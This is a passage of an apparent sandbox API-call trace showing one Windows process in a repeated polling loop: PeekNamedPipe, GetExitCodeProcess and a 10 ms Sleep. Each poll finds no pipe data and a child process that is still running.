lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.719] Sleep (dwMilliseconds=0xa) [0182.762] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.762] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.762] Sleep (dwMilliseconds=0xa) [0182.819] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.819] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.819] Sleep (dwMilliseconds=0xa) [0182.856] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.856] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.856] Sleep (dwMilliseconds=0xa) [0182.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.905] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.905] Sleep (dwMilliseconds=0xa) [0182.998] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.998] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.998] Sleep (dwMilliseconds=0xa) [0183.073] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.074] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.074] Sleep (dwMilliseconds=0xa) [0183.128] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.128] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.128] Sleep (dwMilliseconds=0xa) [0183.175] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.175] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.175] Sleep (dwMilliseconds=0xa) [0183.222] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.222] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.222] Sleep (dwMilliseconds=0xa) [0183.462] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.462] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.463] Sleep (dwMilliseconds=0xa) [0183.538] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.538] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.538] Sleep (dwMilliseconds=0xa) [0183.591] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.592] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.592] Sleep (dwMilliseconds=0xa) [0183.636] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.636] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.637] Sleep (dwMilliseconds=0xa) [0183.685] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0183.685] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0183.685] Sleep (dwMilliseconds=0xa) [0184.865] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0184.866] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0184.866] Sleep (dwMilliseconds=0xa) [0185.080] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.080] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.080] Sleep (dwMilliseconds=0xa) [0185.130] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.131] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.131] Sleep (dwMilliseconds=0xa) [0185.174] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.174] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.174] Sleep (dwMilliseconds=0xa) [0185.227] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.227] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.227] Sleep (dwMilliseconds=0xa) [0185.281] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.281] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.281] Sleep (dwMilliseconds=0xa) [0185.322] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.322] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.322] Sleep (dwMilliseconds=0xa) [0185.371] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.372] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.372] Sleep (dwMilliseconds=0xa) [0185.415] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.415] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.415] Sleep (dwMilliseconds=0xa) [0185.485] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.486] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.486] Sleep (dwMilliseconds=0xa) [0185.524] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.524] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.524] Sleep (dwMilliseconds=0xa) [0185.571] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.571] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.572] Sleep (dwMilliseconds=0xa) [0185.617] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.617] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.618] Sleep (dwMilliseconds=0xa) [0185.663] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.663] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.663] Sleep (dwMilliseconds=0xa) [0185.802] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.802] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.802] Sleep (dwMilliseconds=0xa) [0185.852] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.852] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.852] Sleep (dwMilliseconds=0xa) [0185.913] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.913] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.913] Sleep (dwMilliseconds=0xa) [0185.966] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0185.966] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0185.966] Sleep (dwMilliseconds=0xa) [0186.010] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.011] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.011] Sleep (dwMilliseconds=0xa) [0186.053] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.053] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.053] Sleep (dwMilliseconds=0xa) [0186.100] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.100] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.101] Sleep (dwMilliseconds=0xa) [0186.179] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.179] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.179] Sleep (dwMilliseconds=0xa) [0186.225] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.225] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.225] Sleep (dwMilliseconds=0xa) [0186.273] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.273] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.273] Sleep (dwMilliseconds=0xa) [0186.363] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.364] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.364] Sleep (dwMilliseconds=0xa) [0186.396] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.397] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.397] Sleep (dwMilliseconds=0xa) [0186.556] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.557] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.557] Sleep (dwMilliseconds=0xa) [0186.664] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.664] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.664] Sleep (dwMilliseconds=0xa) [0186.723] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0186.723] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0186.723] Sleep (dwMilliseconds=0xa) [0187.728] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0187.728] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0187.728] Sleep (dwMilliseconds=0xa) [0187.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0187.905] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0187.905] Sleep (dwMilliseconds=0xa) [0188.005] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.006] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.006] Sleep (dwMilliseconds=0xa) [0188.169] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.169] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.169] Sleep (dwMilliseconds=0xa) [0188.295] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.295] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.295] Sleep (dwMilliseconds=0xa) [0188.457] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.457] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.458] Sleep (dwMilliseconds=0xa) [0188.539] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.539] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.539] Sleep (dwMilliseconds=0xa) [0188.695] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.695] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.695] Sleep (dwMilliseconds=0xa) [0188.739] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.739] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.739] Sleep (dwMilliseconds=0xa) [0188.816] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, 